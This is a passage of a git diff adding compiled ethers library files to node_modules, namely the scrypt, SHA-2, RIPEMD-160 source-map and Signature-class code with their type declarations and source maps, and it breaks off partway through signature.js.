+{"version":3,"file":"ripemd160.js","sourceRoot":"","sources":["../../src.ts/crypto/ripemd160.ts"],"names":[],"mappings":";;;AAAA,uDAAuE;AAEvE,gDAAuD;AAKvD,IAAI,MAAM,GAAG,KAAK,CAAC;AAEnB,MAAM,UAAU,GAAG,UAAS,IAAgB;IACxC,OAAO,IAAA,qBAAe,EAAC,IAAI,CAAC,CAAC;AACjC,CAAC,CAAA;AAED,IAAI,WAAW,GAAoC,UAAU,CAAC;AAE9D;;;;;;;;;;;;;;;;GAgBG;AACH,SAAgB,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,IAAA,kBAAO,EAAC,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC;AACtC,CAAC;AAHD,8BAGC;AACD,SAAS,CAAC,CAAC,GAAG,UAAU,CAAC;AACzB,SAAS,CAAC,IAAI,GAAG,cAAmB,MAAM,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,SAAS,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC/D,IAAI,MAAM,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,qBAAqB,CAAC,CAAC;KAAE;IAC3D,WAAW,GAAG,IAAI,CAAC;AACvB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts b/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts new file mode 100644 index 000000000000..b0e678f527cc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts @@ -0,0 +1,82 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * A callback during long-running operations to update any + * UI or provide programatic access to the progress. + * + * The %%percent%% is a value between ``0`` and ``1``. + * + * @_docloc: api/crypto:Passwords + */ +export type ProgressCallback = (percent: number) => void; +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export declare function scrypt(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback): Promise; +export declare namespace scrypt { + var _: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, onProgress?: ProgressCallback | undefined) => Promise; + var lock: () => void; + var register: (func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback | undefined) => Promise) => void; +} +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export declare function scryptSync(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number): string; +export declare namespace scryptSync { + var _: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => Uint8Array; + var lock: () => void; + var register: (func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => BytesLike) => void; +} +//# sourceMappingURL=scrypt.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts.map new file mode 100644 index 000000000000..af193f1a1c93 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/scrypt.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/scrypt.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;;;;;;GAOG;AACH,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,EAAE,MAAM,KAAK,IAAI,CAAC;AAgBzD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoCG;AACH,wBAAsB,MAAM,CAAC,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAI/J;yBAJqB,MAAM;;;;;AAa5B;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,GAAG,MAAM,CAIvH;yBAJe,UAAU"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/scrypt.js b/node_modules/ethers/lib.commonjs/crypto/scrypt.js new file mode 100644 index 000000000000..4f5001913c60 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/scrypt.js @@ -0,0 +1,104 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.scryptSync = exports.scrypt = void 0; +const scrypt_1 = require("@noble/hashes/scrypt"); +const index_js_1 = require("../utils/index.js"); +let lockedSync = false, lockedAsync = false; +const _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) { + return await (0, scrypt_1.scryptAsync)(passwd, salt, { N, r, p, dkLen, onProgress }); +}; +const _scryptSync = function (passwd, salt, N, r, p, dkLen) { + return (0, scrypt_1.scrypt)(passwd, salt, { N, r, p, dkLen }); +}; +let __scryptAsync = _scryptAsync; +let __scryptSync = _scryptSync; +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) { + const passwd = (0, index_js_1.getBytes)(_passwd, "passwd"); + const salt = (0, index_js_1.getBytes)(_salt, "salt"); + return (0, index_js_1.hexlify)(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress)); +} +exports.scrypt = scrypt; +scrypt._ = _scryptAsync; +scrypt.lock = function () { lockedAsync = true; }; +scrypt.register = function (func) { + if (lockedAsync) { + throw new Error("scrypt is locked"); + } + __scryptAsync = func; +}; +Object.freeze(scrypt); +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +function scryptSync(_passwd, _salt, N, r, p, dkLen) { + const passwd = (0, index_js_1.getBytes)(_passwd, "passwd"); + const salt = (0, index_js_1.getBytes)(_salt, "salt"); + return (0, index_js_1.hexlify)(__scryptSync(passwd, salt, N, r, p, dkLen)); +} +exports.scryptSync = scryptSync; +scryptSync._ = _scryptSync; +scryptSync.lock = function () { lockedSync = true; }; +scryptSync.register = function (func) { + if (lockedSync) { + throw new Error("scryptSync is locked"); + } + __scryptSync = func; +}; +Object.freeze(scryptSync); +//# sourceMappingURL=scrypt.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/scrypt.js.map b/node_modules/ethers/lib.commonjs/crypto/scrypt.js.map new file mode 100644 index 000000000000..b2cd0103e7c7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/scrypt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.js","sourceRoot":"","sources":["../../src.ts/crypto/scrypt.ts"],"names":[],"mappings":";;;AAAA,iDAAwF;AAExF,gDAA2D;AAe3D,IAAI,UAAU,GAAG,KAAK,EAAE,WAAW,GAAG,KAAK,CAAC;AAE5C,MAAM,YAAY,GAAG,KAAK,WAAU,MAAkB,EAAE,IAAgB,EAAE,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,KAAa,EAAE,UAA6B;IACnJ,OAAO,MAAM,IAAA,oBAAW,EAAC,MAAM,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,KAAK,EAAE,UAAU,EAAE,CAAC,CAAC;AAC3E,CAAC,CAAA;AACD,MAAM,WAAW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CAAS,EAAE,CAAS,EAAE,KAAa;IAC3G,MAAM,MAAM,GAAG,IAAA,mBAAQ,EAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;IAC3C,MAAM,IAAI,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,IAAA,kBAAC,EAAC,YAAY,CAAC,MAAM,EAAE,IAAI,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,KAAK,CAAC,CAAC,CAAC;AACzD,CAAC;AAJD,gCAIC;AACD,UAAU,CAAC,CAAC,GAAG,WAAW,CAAC;AAC3B,UAAU,CAAC,IAAI,GAAG,cAAmB,UAAU,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACzD,UAAU,CAAC,QAAQ,GAAG,UAAS,IAAyG;IACpI,IAAI,UAAU,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,sBAAsB,CAAC,CAAC;KAAE;IAC5D,YAAY,GAAG,IAAI,CAAC;AACxB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts b/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts new file mode 100644 index 000000000000..348ccdc7dd0d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts @@ -0,0 +1,47 @@ +import type { BytesLike } from "../utils/index.js"; +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export declare function sha256(_data: BytesLike): string; +export declare namespace sha256 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +export declare function sha512(_data: BytesLike): string; +export declare namespace sha512 { + var _: (data: Uint8Array) => Uint8Array; + var lock: () => void; + var register: (func: (data: Uint8Array) => BytesLike) => void; +} +//# sourceMappingURL=sha2.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts.map new file mode 100644 index 000000000000..9e42678e2a8a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/sha2.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"sha2.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/sha2.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAiBnD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAG/C;yBAHe,MAAM;;;;;AAatB;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,MAAM,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAG/C;yBAHe,MAAM"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/sha2.js b/node_modules/ethers/lib.commonjs/crypto/sha2.js new file mode 100644 index 000000000000..c5ed9915d98d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/sha2.js @@ -0,0 +1,76 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.sha512 = exports.sha256 = void 0; +const crypto_js_1 = require("./crypto.js"); +const index_js_1 = require("../utils/index.js"); +const _sha256 = function (data) { + return (0, crypto_js_1.createHash)("sha256").update(data).digest(); +}; +const _sha512 = function (data) { + return (0, crypto_js_1.createHash)("sha512").update(data).digest(); +}; +let __sha256 = _sha256; +let __sha512 = _sha512; +let locked256 = false, locked512 = false; +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +function sha256(_data) { + const data = (0, index_js_1.getBytes)(_data, "data"); + return (0, index_js_1.hexlify)(__sha256(data)); +} +exports.sha256 = sha256; +sha256._ = _sha256; +sha256.lock = function () { locked256 = true; }; +sha256.register = function (func) { + if (locked256) { + throw new Error("sha256 is locked"); + } + __sha256 = func; +}; +Object.freeze(sha256); +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +function sha512(_data) { + const data = (0, index_js_1.getBytes)(_data, "data"); + return (0, index_js_1.hexlify)(__sha512(data)); +} +exports.sha512 = sha512; +sha512._ = _sha512; +sha512.lock = function () { locked512 = true; }; +sha512.register = function (func) { + if (locked512) { + throw new Error("sha512 is locked"); + } + __sha512 = func; +}; +Object.freeze(sha256); +//# sourceMappingURL=sha2.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/sha2.js.map b/node_modules/ethers/lib.commonjs/crypto/sha2.js.map new file mode 100644 index 000000000000..05fa16e953a4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/sha2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha2.js","sourceRoot":"","sources":["../../src.ts/crypto/sha2.ts"],"names":[],"mappings":";;;AAAA,2CAAyC;AAEzC,gDAAsD;AAKtD,MAAM,OAAO,GAAG,UAAS,IAAgB;IACrC,OAAO,IAAA,sBAAU,EAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,EAAE,CAAC;AACtD,CAA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M,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC5D,IAAI,SAAS,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;KAAE;IACvD,QAAQ,GAAG,IAAI,CAAC;AACpB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signature.d.ts b/node_modules/ethers/lib.commonjs/crypto/signature.d.ts new file mode 100644 index 000000000000..1554e3368dd2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signature.d.ts @@ -0,0 +1,171 @@ +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * A SignatureLike + * + * @_docloc: api/crypto:Signing + */ +export type SignatureLike = Signature | string | { + r: string; + s: string; + v: BigNumberish; + yParity?: 0 | 1; + yParityAndS?: string; +} | { + r: string; + yParityAndS: string; + yParity?: 0 | 1; + s?: string; + v?: number; +} | { + r: string; + s: string; + yParity: 0 | 1; + v?: BigNumberish; + yParityAndS?: string; +}; +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +export declare class Signature { + #private; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r(): string; + set r(value: BytesLike); + /** + * The ``s`` value for a signature. + */ + get s(): string; + set s(_value: BytesLike); + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s(): string; + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid(): boolean; + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v(): 27 | 28; + set v(value: BigNumberish); + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV(): null | bigint; + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId(): null | bigint; + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity(): 0 | 1; + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS(): string; + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized(): string; + /** + * The serialized representation. + */ + get serialized(): string; + /** + * @private + */ + constructor(guard: any, r: string, s: string, v: 27 | 28); + /** + * Returns a new identical [[Signature]]. + */ + clone(): Signature; + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON(): any; + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v: BigNumberish): bigint; + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId: BigNumberish, v: 27 | 28): bigint; + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v: BigNumberish): 27 | 28; + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig?: SignatureLike): Signature; +} +//# sourceMappingURL=signature.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signature.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/signature.d.ts.map new file mode 100644 index 000000000000..2f9e0ad8f395 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signature.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signature.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/signature.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EACR,YAAY,EAAE,SAAS,EAC1B,MAAM,mBAAmB,CAAC;AAgB3B;;;;GAIG;AACH,MAAM,MAAM,aAAa,GAAG,SAAS,GAAG,MAAM,GAAG;IAC7C,CAAC,EAAE,MAAM,CAAC;IACV,CAAC,EAAE,MAAM,CAAC;IACV,CAAC,EAAE,YAAY,CAAC;IAChB,OAAO,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC;IAChB,WAAW,CAAC,EAAE,MAAM,CAAC;CACxB,GAAG;IACA,CAAC,EAAE,MAAM,CAAC;IACV,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,CAAC,EAAE,CAAC,GAAG,CAAC,CAAC;IAChB,CAAC,CAAC,EAAE,MAAM,CAAC;IACX,CAAC,CAAC,EAAE,MAAM,CAAC;CACd,GAAG;IACA,CAAC,EAAE,MAAM,CAAC;IACV,CAAC,EAAE,MAAM,CAAC;IACV,OAAO,EAAE,CAAC,GAAG,CAAC,CAAC;IACf,CAAC,CAAC,EAAE,YAAY,CAAC;IACjB,WAAW,CAAC,EAAE,MAAM,CAAC;CACxB,CAAC;AAMF;;;;;GAKG;AACH,qBAAa,SAAS;;IAMlB;;;;;OAKG;IACH,IAAI,CAAC,IAAI,MAAM,CAAoB;IACnC,IAAI,CAAC,CAAC,KAAK,EAAE,SAAS,EAGrB;IAED;;OAEG;IACH,IAAI,CAAC,IAAI,MAAM,CAGd;IACD,IAAI,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/node_modules/ethers/lib.commonjs/crypto/signature.js new file mode 100644 index 000000000000..fbc489b5fbf4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signature.js @@ -0,0 +1,319 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Signature = void 0; +const index_js_1 = require("../constants/index.js"); +const index_js_2 = require("../utils/index.js"); +// Constants +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); +const _guard = {}; +function toUint256(value) { + return (0, index_js_2.zeroPadValue)((0, index_js_2.toBeArray)(value), 32); +} +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +class Signature { + #r; + #s; + #v; + #networkV; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r() { return this.#r; } + set r(value) { + (0, index_js_2.assertArgument)((0, index_js_2.dataLength)(value) === 32, "invalid r", "value", value); + this.#r = (0, index_js_2.hexlify)(value); + } + /** + * The ``s`` value for a signature. + */ + get s() { + (0, index_js_2.assertArgument)(parseInt(this.#s.substring(0, 3)) < 8, "non-canonical s; use ._s", "s", this.#s); + return this.#s; + } + set s(_value) { + (0, index_js_2.assertArgument)((0, index_js_2.dataLength)(_value) === 32, "invalid s", "value", _value); + this.#s = (0, index_js_2.hexlify)(_value); + } + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s() { return this.#s; } + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid() { + return (parseInt(this.#s.substring(0, 3)) < 8); + } + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v() { return this.#v; } + set v(value) { + const v = (0, index_js_2.getNumber)(value, "value"); + (0, index_js_2.assertArgument)(v === 27 || v === 28, "invalid v", "v", value); + this.#v = v; + } + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV() { return this.#networkV; } + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId() { + const v = this.networkV; + if (v == null) { + return null; + } + return Signature.getChainId(v); + } + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity() { + return (this.v === 27) ? 0 : 1; + } + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS() { + // The EIP-2098 compact representation + const yParityAndS = (0, index_js_2.getBytes)(this.s); + if (this.yParity) { + yParityAndS[0] |= 0x80; + } + return (0, index_js_2.hexlify)(yParityAndS); + } + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized() { + return (0, index_js_2.concat)([this.r, this.yParityAndS]); + } + /** + * The serialized representation. + */ + get serialized() { + return (0, index_js_2.concat)([this.r, this.s, (this.yParity ? "0x1c" : "0x1b")]); + } + /** + * @private + */ + constructor(guard, r, s, v) { + (0, index_js_2.assertPrivate)(guard, _guard, "Signature"); + this.#r = r; + this.#s = s; + this.#v = v; + this.#networkV = null; + } + [Symbol.for('nodejs.util.inspect.custom')]() { + return `Signature { r: "${this.r}", s: "${this._s}"${this.isValid() ? "" : ', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`; + } + /** + * Returns a new identical [[Signature]]. + */ + clone() { + const clone = new Signature(_guard, this.r, this._s, this.v); + if (this.networkV) { + clone.#networkV = this.networkV; + } + return clone; + } + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON() { + const networkV = this.networkV; + return { + _type: "signature", + networkV: ((networkV != null) ? networkV.toString() : null), + r: this.r, s: this._s, v: this.v, + }; + } + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v) { + const bv = (0, index_js_2.getBigInt)(v, "v"); + // The v is not an EIP-155 v, so it is the unspecified chain ID + if ((bv == BN_27) || (bv == BN_28)) { + return BN_0; + } + // Bad value for an EIP-155 v + (0, index_js_2.assertArgument)(bv >= BN_35, "invalid EIP-155 v", "v", v); + return (bv - BN_35) / BN_2; + } + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId, v) { + return ((0, index_js_2.getBigInt)(chainId) * BN_2) + BigInt(35 + v - 27); + } + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v) { + const bv = (0, index_js_2.getBigInt)(v); + if (bv === BN_0 || bv === BN_27) { + return 27; + } + if (bv === BN_1 || bv === BN_28) { + return 28; + } + (0, index_js_2.assertArgument)(bv >= BN_35, "invalid v", "v", v); + // Otherwise, EIP-155 v means odd is 27 and even is 28 + return (bv & BN_1) ? 27 : 28; + } + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig) { + function assertError(check, message) { + (0, index_js_2.assertArgument)(check, message, "signature", sig); + } + ; + if (sig == null) { + return new Signature(_guard, index_js_1.ZeroHash, index_js_1.ZeroHash, 27); + } + if (typeof (sig) === "string") { + const bytes = (0, index_js_2.getBytes)(sig, "signature"); + if (bytes.length === 64) { + const r = (0, index_js_2.hexlify)(bytes.slice(0, 32)); + const s = bytes.slice(32, 64); + const v = (s[0] & 0x80) ? 28 : 27; + s[0] &= 0x7f; + return new Signature(_guard, r, (0, index_js_2.hexlify)(s), v); + } + if (bytes.length === 65) { + const r = (0, index_js_2.hexlify)(bytes.slice(0, 32)); + const s = (0, 